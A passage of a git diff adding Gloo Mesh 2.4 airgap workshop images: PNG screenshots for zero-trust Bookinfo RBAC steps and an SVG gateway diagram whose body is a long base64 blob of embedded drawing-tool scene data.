b/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-rbac1.png new file mode 100644 index 0000000000..0ff103865b Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-rbac1.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-rbac2.png b/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-rbac2.png new file mode 100644 index 0000000000..0de3a8ad00 Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-rbac2.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-working.png b/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-working.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/gloo-mesh-gateway.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MDAxOFx1MDAxOCNKLUCcYH9gqqm0RVxcdsiROLivR2hCXHUwMDA00Vx1MDAwMbaL/DQov3nXsVx1MDAwZe/kO9naXHUwMDA3LkZcdTAwMDY1XHUwMDFkv/yBU4eCU0c63vNaVuu3z9xzMzcjOFx1MDAxN7uJXSV7U3RcXJTm/kVOiNI4886E01x1MDAxYzGt8Fx1MDAxNlx1MDAxZS//51x1MDAxNFSYRlx1MDAxOPZcdTAwMTPyXHUwMDFjWWoh5L2DX0dcdTAwMDFpZCUziCDYXHUwMDEykECQnfincHiNxq1e1Vx1MDAxNZhh6fj0wYDZXHUwMDFhQLPi5fq1w93hXHUwMDE4R9iLV1x1MDAwMbRjiVx03zxFaVqajnJi2L9cdTAwMWG9k9az0v3XVvE14GhMKmxxJSnC81eyxKiA1Vx1MDAxOGbAplx1MDAwNFx1MDAwNJfyqcTYXHUwMDAwjHkmKO1cdTAwMDTGMJdcdTAwMWHMPKlcdTAwMDJsWPmikG43/6rRPWnqfl43SSdPp1x1MDAwZj9g7FBg7EjHe6RlczqlXHUwMDE1VZnXt5fksKFm0clg9nqAU7hroVBHNp+zr9n79FS0Q6LWbFx1MDAxZmDdXGaqyEZcdFxyXHUwMDEzODfOlmJRXHUwMDE0w4PuXHUwMDAx1n1O5Vwi/Vx1MDAwZZxG4zN8XHUwMDFij71cdTAwMGafbmfDXHUwMDAzrPs0fVx1MDAxYnTS44ouJz9vPlvZQWOQ2bBMcEdU6k4op0Sl1NPxwJigSlx1MDAxMrl5XHUwMDE4x59ccoJcbkqlXHUwMDEyfrrOQFabriNLXHUwMDFi+37XoUJcdTAwMWExbqOBwCm4XHUwMDEzgNJYu9e7uKuNmlx1MDAxN//ullx1MDAxYY7z/Vx1MDAwNsfhXHUwMDFhiLeMT1x1MDAxN5v9tdWdOJfaauNWK6tcdTAwMDRcdTAwMTeCblGGkrwpPPDSa/Ku12lcdTAwMTUjvdBL5f7+Leisy1x1MDAxMdGWXHUwMDE2inA6f+VcdTAwMGXW5VhanFJcdTAwMDJUJzT8h7fTXHUwMDFmK8FK/smUvpxLuEu5vs26/VNcdTAwMTVMXHUwMDExpZixXHUwMDAwm5O+aKTYm1x1MDAxNEbteuGj2X145s1QJVwiQ8dPoHSVXHUwMDBiyvFbXHUwMDFmuVDu9d5a3XrvYtZcdTAwMWK+wVx1MDAwM6zUXFxcdTAwMDWDraBrO8Ew7vW9pIJj88tcIsBlX75S4NeJuohcdTAwMDGgfU8xICRcdTAwMDX9tU3kwP9cdTAwMTlcdTAwMDfSVlx1MDAwNa3snVDNOd+w+GBcdTAwMDNcdTAwMTngbapcImLBc5BYXHUwMDBiXHJcdTAwMWOOqEshXHUwMDFhWLNSXHUwMDBioeBxXGKEXHUwMDAxWa1IXHUwMDA3kNdcZszcXHUwMDAwt/LYj39H49JwfNnqVlvdXHUwMDA2vLeQMH9cdTAwMWFL3W6gieZcdTAwMWNfmcxrryx4uopRguBcdTAwMDdidOGmM2dX6pvNWVx1MDAxMqCb4r9fpSa/P/GF3/+udauLPTn22y6NxpFep9NcdTAwMWHDN33stbpj129cdTAwMTQ2nNmslVZYXHUwMDFlVra/t8zCfbOi89ku/utiQeTzf3z99//7l+unQ94kaK5cdTAwMTXiW6z3l/3n1lmc2KeWT3OiXHUwMDAwW2+eelBccl1FQ9lsVqUyLZRoxsf9W4qCLnwo8658XHUwMDEy3JlcdTAwMDPmKXw2qebwXHUwMDEyPoS5gFx1MDAwZpvR9scxplx1MDAxMdaEqlNGKY8rX/bCXHUwMDA3ofpcdTAwMTA+XGIsO/p3t1vq1LyhgtjVhthcdTAwMTcquG9xN77lntnXXHUwMDA0gdlcdTAwMGZ4Wm9u9pfy7KqK463ZLevcNFx1MDAxYrOaukI3QedbRi3lwbfArFx1MDAwZdBwXHUwMDFjtqUuJYqrbCs000zhc23wdaKiq1x1MDAwM8lcdTAwMDTzPIMtXHUwMDEy3Ha4m1x1MDAxZMG8Q15YXHUwMDAyXHUwMDA1aiS3KMv3r0xccqhIoNpiXHUwMDFha6pcdMZyKTgtkbKUiVqD+Y5cdTAwMTTGx9HlWFxui2tgeS44Y1It0NWXiECWsVx1MDAxMjTXXHUwMDEyXHQmsdJsxc9cdTAwMDDAXHUwMDBin9I9+K1mxDLkXm9g+JfYO1xmXGZCuaCm2YGShEi8qMddWFx1MDAxOMTiXHUwMDA0iIVcdTAwMDG4gqcnV1xyjPMyI7xcYnD+rlx1MDAwYu1taUh4i1x1MDAxZuldXHUwMDBmxplcdTAwMDS7XHUwMDE4b9GJ1F/tXHUwMDA0VfwoS1xipogpzKDOKISSXHUwMDE4XHUwMDFli6BCXHUwMDFhtKJcdTAwMTVd2tZxpFx1MDAwZnGJuCNcdTAwMGI2J4FcdTAwMDJcZk5cdTAwMTRcdTAwMTLxlaxcdTAwMTkliCBS41x1MDAxM1x1MDAxNpdcdTAwMDTCj+GPilx1MDAxZGLGJINrITmG504lVcT2qV9ihltcdTAwMDQhXHUwMDAycl1cdTAwMTI4fC3ZipjZSPT5d0xw7omAXHTAkIAnTVx1MDAxMeVq0Vx1MDAxZmYh+7Alv3YlMEDp/yzhR6jj71cof0vZ551cdTAwMThIln+7qKRjoFL0XHUwMDE2XHUwMDFk8lxuJfpcdTAwMTLBg2is8Pnxcd9npPM0antIvsDEccDEQVx1MDAxNlx1MDAwNZgp0Px1scq8QVx1MDAxZUFcdTAwMTbWQI2SU5NcdTAwMDa/l1x1MDAwZtc/jiM3iuNcdTAwMTDTtYkzeqblc0dvjnxcZpvsd4nFKGhxXHUwMDFjl33tXHUwMDA2gDCm3vFcXIo4ZpzhzVx1MDAxMZD/Q1x1MDAwZSRcdTAwMDJcdTAwMDLrSlhSXHUwMDE4KsJKXHUwMDExW0OyuVx1MDAxNOCmK1x1MDAxYVx1MDAwM1xuXHUwMDEzXG7BYVx0b1xmtE8ohzBqwXtcblx1MDAxYoSLYKFcdTAwMDVBLUI51GJcdTAwMDSkMlaUILzaMFx1MDAxM1PTrVx1MDAxYutT1tdcdTAwMDZcdTAwMDJcdTAwMDL5KyNcdTAwMDfcoEbtwoEjaUqdiM3u+Fx1MDAwMzYoPH6sjGmrsZCK890gkP+QXHUwMDAyx55Mnq9cdTAwMTZcdTAwMDKoXHUwMDBlMFx1MDAxOVx1MDAwMKHVPWlLUfhcdTAwMWZTXGZcdTAwMTAv0Uyt7OmsXHUwMDAwkDfxm2uZ7LeEP2t66HmWsFx1MDAxMlx1MDAwNOhAKntgdG1cdTAwMTT7KlWofrS6o7th7LP3oGqdl8HjLsLv+9pcdDBGvaPYQiCL6U1cdTAwMDJJm/RcdTAwMTJYzlPbL+FaaVx1MDAwNXZpoGsk/MDQy32pSjKJ93S0/olmvTKJxMUguPnW5VClw2Q4SevPzffZXHUwMDFi6PhW7yBcdTAwMTnB933Unj08iNZTO1xcmPDHW1x1MDAxZE9cdTAwMWRg3YNcdTAwMWbvulx1MDAwNFv3XHUwMDFiXHUwMDFlXHUwMDA2wfqKN89Qm62uaFx1MDAxOdaZ4nxM1Fx1MDAxNpLN/zyDat4xyr1lmzTTXHUwMDAyNlxitm0g2tal165cdTAwMTVvqzVgXHUwMDE4bD2q5UnD5lx1MDAwMUy37Vx1MDAwZnvVSWXcLzXc7bBjXHUwMDE1gq3R7MvWmX2be4BcdTAwMTPlneVcdTAwMDI2malcdTAwMDZDm2e5XFwlwvSp8fF4leo0Reep9ZhpzcZcdTAwMDFcdTAwMDcnxNmJ0cHAUrGDMfCBsVx0gcdjJkyca8vSZnv6NovWdewhXHUwMDFj77x3dCRcdTAwMTm7lvuDkyMte26YZ1iNl1rVxohXp1x1MDAwZvluqf58S1wiXHUwMDFiTuv73uNdh3ncb3hKzOMjMFx1MDAwNTe95sVcdTAwMTZVRf7nXHUwMDE5VMxDnM1cdTAwMWRcdTAwMWRcIlMh4rDnjol5XFxAzuq0JWZcZn5cdTAwMWTobrUnXHUwMDAwOdVcdTAwMWFAj/bIXHUwMDFk4CjHx1x1MDAwZlx1MDAwNnDWoINlgPNni7uDXHUwMDFiyjztXHUwMDEzIFHj61GbmydcdTAwMWav4chnkyVisypcdTAwMWGnXHUwMDFl29e5es6rXHUwMDAwMCjYXHUwMDA2wI0no+r5VIFAYlx1MDAxYiwogefDTzmWaVx1MDAxZmwzvsQzllTl8dXkJZpJdF+E7Ob2XHUwMDA3Iee17LEgyJG2XHUwMDFiv4rV2tVwkV6N3sUw+zi7bl3qvba7XHUwMDBl2rh/kVx1MDAxM0JcdTAwMWLKvdMkXHUwMDE5YpIowTaXl/7PKajQhlFvaKOxOiW0cZnupShcdTAwMTCCvV9L4MTkXHSgzbA0bnVcdTAwMWJcdTAwMWXQ5ki+mzXgYFx1MDAxOdr82eJcdTAwMWXQxrsvqlx1MDAxMojCwW7heS3U5DD5PKrLQuguXHUwMDEzeU/Lq8bMq8V8UKBcctfEx23DXHUwMDAzXHUwMDBibVx1MDAxOOFcdTAwMTJMxHNcdTAwMWSfXHUwMDFjqX1cdTAwMTYuW5ezt0Ip+1x1MDAxOOnFXHUwMDFlK82Xyf7a97yWPVZE6Ujb/X5o4/5FTlxubXxcdTAwMTKQTMKNZnrzXHUwMDA0JP/nXHUwMDE0VGjDtfTx2tBgeW0oRUIy/tND+lx1MDAxN3n/wVxytWmrNvter81cdTAwMWFwsFx1MDAwMm1+b9GXTT0zXHUwMDA1ufCOKGtGXHUwMDE4XHUwMDE124zO8feub8Wny62RjmmCXGJqKU1cdTAwMDDhKYyZdiZcZktKLCWZpFoyhJVPtcS+nKqoxUFQgEyQZi6qdklcdTAwMTZkxNJIUY2wwERRXHUwMDE3NpacXCKJTtpcbj5cdTAwMTDZgv6x3YtFZp6pQ+ImMI9cdTAwMThcdTAwMTh3glxi6laYRS0zYEnDe8L07MTy9ye2zFx1MDAxN/R3yDp3RTHGhMHWsMRcbrNcdTAwMDWffu1KW1x1MDAwNDOGhVCEMsmxXtnUWSVcZnrSv7lWKH+x3F/2n1tcdTAwMGJAe1LuSrKg0lxi6W2q1/2BalBcdTAwMDUgZ9rCXHUwMDA0jFilhLZcdTAwMGYv/yVcdTAwMDCZZSBcdTAwMWLhjFMs9fGgioRdKNN2XHUwMDA0wckjrlxcXHUwMDFh31BpSU2YJEzN64SW5Vx1MDAxZohxZijoR/xtKP5AzoB2o4RoxTFcdTAwMDP1hlflXGZmlqAg/+bUIZDkO1x1MDAxNoz5XHUwMDAzXHUwMDFi56YwPEbBtFx1MDAxOf3FiG0otn1TSFLJjItcdTAwMTRcdTAwMDQyp+ddL+ZJ++ZapvotZd+afCTPgjFMuVx1MDAwNpqwXHUwMDA39dbJv0kyjF+ros3KLFx1MDAxZi/U72aTWvE66IZcdTAwMWE14XXlOfBHUL5hwvT3z1x1MDAxYzc1XHUwMDA1mJxW4P2zho5cdTAwMGLvkI1cIia3TW0xXHUwMDFmXHUwMDBiT1x1MDAxYrVbnWFFfNkqqPvqY/4+1jpcdTAwMDN2IT7sXCKF2sxcdTAwMTd8gqnjoExAffFznVV4flPHlWfQXHUwMDA0cLxQkqMtWrpcdTAwMTVcdTAwMWX5+yTFL1x1MDAxZlGuXHUwMDFk66TGxWgy0/fgloBETSjn1E+1XGKyYVO3XHUwMDEzXHUwMDA0TszGJFjFXHUwMDAxzuPyY5bYU4aO8bg6uXq9XHUwMDE2pKQ6jVx1MDAxYXtzZ5YgJKYmI9Nw/VonX1x1MDAxM1xiTcNP+YqMO0pcdHddV1x1MDAwZsPhLJ9EQqnGW1x1MDAwMk3Lk1ItXTrAukc63iMt+/wg2rHYc1FOkr3Rw3NcdTAwMTbIsLFf0/91XHUwMDExXHUwMDE59y+y4XbjXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DLiVx1MDAwNb338HXv8TaIY8y2XHUwMDE43ez/9IOKhzhXfjJeoc1cdTAwMWFcdTAwMDCeqCZJXGKtmMZBjo//g2qS1mCc49Qk2Vx1MDAwM1x0K+36NEaU4y18oOz6qlx1MDAxYU0mXHUwMDBig9jTc1h9zFxuo+SDl1x1MDAwZjQoMI0q7WfSKHkwXHUwMDE2PnzmLlx1MDAxODTKPp0hcOzrp+neL+/i+ipcdTAwMWROXHUwMDE1XG7DVkx+PtPYKLa/vj/SsudcdTAwMDb++tf4MjvSvXT5M8lY5rLcj9c88lu2WvdcXJ7aOpDmfsNcdTAwMTOCKepT4C2EwVNqi4xg//NcZiqcopr5yGL4t8NkPiaccsFPq1x1MDAxMXfjq6Wc/iTO/Fwi8Fx1MDAxM5Y7rVx1MDAwMVx1MDAxZUcod1Kepo+JXHUwMDFkXHUwMDAz8W6TPPOcm1SvouwtWpyG31PTVoa+JnTAcZOJXHUwMDFje/OqRjSouFx0XGJcdTAwMWYzic/VXHUwMDEzfP+Q06nn+5fGbbb3+izVU/zuzqOMeVx1MDAxYlx1MDAwNXxey1x1MDAxZVx1MDAwYt2cyymsQzfuNzwlulHefZnhPlxcYblF71x1MDAwYv/zXGYquuHcXHUwMDBm3YC+OCW6WfFcdTAwMGVRobi25Z5cdTAwMDVPSv5D6p3WgIMj1DtJb5+QlpSDbt9iXCLkqypehiOZSnus0+Grfv819vpyXHUwMDE1cGwjMff1XHRtONflXHUwMDA0PiFMhCTCPqovcGzrpyh78afxbXZUSVx1MDAxNl4ydT1cclfjQFx1MDAxZPvr3/Na9lhxu/M6hcNDvHWgyf2LnFx1MDAxNDR55lBwpDFFXHUwMDE0b+6b939MQcVMXHUwMDEyUJGfR4h/W4BtXHUwMDEzzIRcdTAwMTHRnFwie6P9wInfoJVSXHUwMDFkXHQ1rYFcdTAwMWSHLaVcdTAwMTLeU2dcdTAwMThcdTAwMTGMXHUwMDEwxTZ3XHUwMDA2+UdcdTAwMDRcdTAwMDJaSEC5klx1MDAxNmLAp4gqsHSQs+s6oEZcdTAwMGKTbyqlXHUwMDAydFxuO+BcYjMq3Ebori+l4kIzxVx1MDAwNfmn11x1MDAxMviHpC+cpVSmaYnphiClMFx1MDAxM6NXh89cdTAwMWOqlMrf2evc1VIp1T+hksqd/M11tEoqyb3brlx1MDAxM1x1MDAwMVx1MDAxYuFic/nnXHUwMDBmf4Mq/8Dssog09WtcdTAwMTIxXHUwMDAxT2BJ/lx0XHUwMDBiXHUwMDAwyvdUUlEza0BcdTAwMDHFXHUwMDAzXHUwMDAxSJfRf+sqqcy8XHUwMDAyRrA+ZV7QeYk/M3dcdTAwMDJpQqiZXHUwMDBmblx1MDAwNjm4XGa5OlAllT+uce7JXkmFuXQpbv2Pq6Ryp31z7VlJ5Sn7lPBsUsqBXCJcdTAwMTHWW8w79Td6gyr74LAtYD1QsEhcImQzWuc2mjBNSs1QXHUwMDEzSlx1MDAwMFH5jN3aW/RcdTAwMTlq1lxcY81cdTAwMDByc+lmslx1MDAwMVx1MDAxMZiMNqKAMWA3q7LPTOGk/GfmzsZyXHUwMDA2QFx1MDAxNkNwc4DLmlxiXHUwMDAzO7RLXHUwMDFkqbHTOTN8aVRcdTAwMGJGqzBrI+nn71x1MDAwYl/aXHUwMDE1sDqIPVx1MDAwMmSFkXIrbqVcdTAwMTZCREhOzSBewc5cXPqFPOnfXFwrlL+l/PONXHUwMDE4MJ/cJTD5zKDjLVx1MDAwMGCznsfRm8y4XHUwMDFlXHUwMDBm38RKqis/8p2Kh1x1MDAxMFxmSsSAaWxcdTAwMTnlz+X81dnxh9KlWp/ljW1cdTAwMTcy8Jy7ulPIQEpmzPVzLSMtta86vTdWTt/IyTDZjY1cbvLaw1lcdTAwMWWEdM+rYiqC71h81ivf4cfCWCdu3j2c5VutW5mWYzLavXzNtGha3XxkXiNX5Vx1MDAwM6x7pOM90rKTt6LotN9iL9nM1XW+12um+4/qqDFcdTAwMDP3L7JYdoX8j1x1MDAxZDNg3k1NXHUwMDAwnXEhQVx1MDAxYm6OR/2fU1CDXHUwMDA2TFx1MDAwYlx1MDAxZmHMnUU5PsJ4OTZ7pKhcdTAwMDFcdTAwMDAnymigXHUwMDBi+U9cdTAwMTA0gFx1MDAxZqVcdFx1MDAxY6Pt9PdcdTAwMGZcdTAwMWH4jGddXHUwMDA3O5YjXHUwMDA2f/a3XHUwMDA3alx1MDAxMp79N1x1MDAwMLFcbtOSbIvam8tOVE3Dqdv4MFFiz9G7u8vM1KuALjioiViEUy3U/NVpODLJXHUwMDAyjJqoXHUwMDAyS1HhXHUwMDAwt4P2U5SxYjl628Oo/jl+vU9Xe4lxK9b/QU2HQk1HOt5zWXZtgbTrXHJPXGKaOPFu7UKESXWXfItSZt/zXGYuaJI+sthcYupAgSZcdTAwMTNNNr7tIM9kO02Cau2i3eq0XHUwMDFjOOhcdTAwMWLyLdbAXHUwMDBmlyzVxT73gFDerflcdHCunvvCNmbcbPQlXHUwMDE0XHKhcSNanDxG09Pw03DoNVx1MDAxNTU4XHUwMDEwXG552zpcZlx1MDAwNVx1MDAxOEJcdTAwMDFcdTAwMDdrIYNt9/ipzctBPN9robpIRqNcdTAwMGbd9Nu0Vp9cdTAwMDV4/OG5YagjXHUwMDFk7z982XXQzP2Gp4RmyDO1Tlx1MDAxOa+73EbA+1x1MDAxZmdwkVx1MDAxOfdcdTAwMTHxJHDITHItXHUwMDEx/qmK/kXfX1x0ptXW92bArkEzq1x1MDAxObBmg7tDMW5LcV1cdTAwMTlcdTAwMDCpXHUwMDE4324+fVwiVMT8plx1MDAxYu1XbmkuO1xys2y8uVx1MDAwYlx1MDAxMvvGmVx1MDAxZpIhS0uBNWLm1dlKXHUwMDFiI0ot4F3BpdBgtngy6S9cdTAwMDDlj8PKNVaullx1MDAwZoXDNOdIkLNcclx1MDAwMIYyvPWanuRqT4/DySz0KHOJ2vhcdTAwMDeGXHUwMDFkXG6GXHUwMDFk6Xh/ljXPrJ5cdTAwMWJOZ1x1MDAxMyynzyr0Jlxu6KPwXHUwMDEwPWq40v2LnFx1MDAxMt5514UzpCQy2eRcdTAwMWJrXHL/x1x1MDAxNFB4XHUwMDA3eoP76Vxyji260Fx1MDAxYj7pc99cdTAwMDbvXHUwMDE00SahO8Btx06A71qjcatX/VaAt1x1MDAwNiQtXHUwMDAzvN873Fx1MDAwM+H5NECXSGhcdTAwMDRUvMWM706sXuVJfpV6eunU5HuCtcI7ZXl9I6tiXHUwMDEzkvzykcslTqXMMiWZiGCqqVxcXGau2Fx041x1MDAxZNjXxilCXFxwXHUwMDFiPVx1MDAwN45p/TRlo31cdTAwMTN67ZJiMvTxoTuMlbKTYvZcdTAwMDfkXHUwMDFkXG7kXHUwMDFk6XjPa9levjt+iV9/4JePUu6t/1x1MDAxZc3M3vFcdTAwMDFcdTAwMGWXhjo03ChGbkK6XkpcdTAwMTfDV4lJsXWAdUOD586YR7Sm7/XOYyH6XHUwMDEwf7hcdTAwMWRcdTAwMWRcdTAwMTU9ulx1MDAxZvwp0aP2nmAjqTC1OFtUyPvTVVDhI5baTydpSy10XHUwMDEyX9rWkcGjrV/lV39cdTAwMTKEXHUwMDA0ZydcdTAwMWRSXHUwMDE4QPBcdTAwMThr93pcdTAwMTd3tVHz4t/dUsNxwDZcdTAwMWPJnH94uIHq/khsXHUwMDE5Ry42+2uru3Eu8+RcXKow0Yxt4S2csbvPp2b/5jHVrHVVpTRUT8/loDMuZWbwXHUwMDE3JoxcdTAwMTKlgXdtM5HNXHUwMDAy3Fx1MDAwMpNcdTAwMGbeXHUwMDA0s5CbstF9wKQv59pD6ItcdTAwMTLRlcIoLSTDwe5cdTAwMDfmpyz3yFxm30eruYpcdTAwMDXl+O1GYiFcdTAwMDY3nJU+Liq9Tr/XnX9hN1x0YWtlcLC8WMfX8JZcdTAwMDUuO/RcdTAwMTVcZp71lMA53pODOJFcdTAwMWOBXHUwMDE1s7ls8H/wgTQzqZDKokohxFx1MDAxMEhcdTAwMDbmLCXnzJqP2NJcZpS74mi5zvNAZiZBlimhJXpezk5cdTAwMTZ3WbiGhLJcdTAwMThWXFwwZaKP1Gbv/knwkFx1MDAxNFx1MDAxMfhcbv/0Nlx1MDAxYf766cJes42IxMS0zzCDcF1LXHUwMDE2KYanIVx1MDAwMM8xblLgfn9iyzpK/1xcd9uOTFx1MDAwYlxyRrhcdTAwMTBcdTAwMDRcdTAwMWUjolxiwKRbXHUwMDBmXHLKKcdcdTAwMDT0XHUwMDE0VlxiaGJlU2dVR+lJ++ZaofrFcn/Zf+7kYVx1MDAxM9R7oFx1MDAwZSeKYaI2l3yV7NUwfJ9/mkw6tP1ZyqdT7K1cdTAwMWR4VCQ0tcBgkUzMX21F3PNcdTAwMDVcYiNcdTAwMTZXSEmtsVx1MDAwNHWwVyDVv5pcdTAwMWPgmd3Ptvg+XHUwMDBilMRWXHUwMDFkbYDlXHUwMDE0XHUwMDA2aFx1MDAxN+D6cV+clCnigsbZz1r0M1x1MDAxYio9lLrv6e7xcdLuLKO801x1MDAwZSjS8NzkXHUwMDE2lccyccc/n1xuXHUwMDBmt0/36IVEx7ydXHUwMDE47tSr9Fx1MDAxYlx1MDAxOUYrf4ZRzEKHYpi9vNJqJZRkXHUwMDA2jjN2tplcdTAwMDeRaSVcdTAwMWSPtmbF0PC299C+rLL+zMOm+HFKb7/ukY73vJbN6Vx1MDAxNDC4yry+vSSHXHI1i05cdTAwMDYzj87xW1x1MDAxZG5cdTAwMDZVZKOEhlx0nFx1MDAxYmdLsS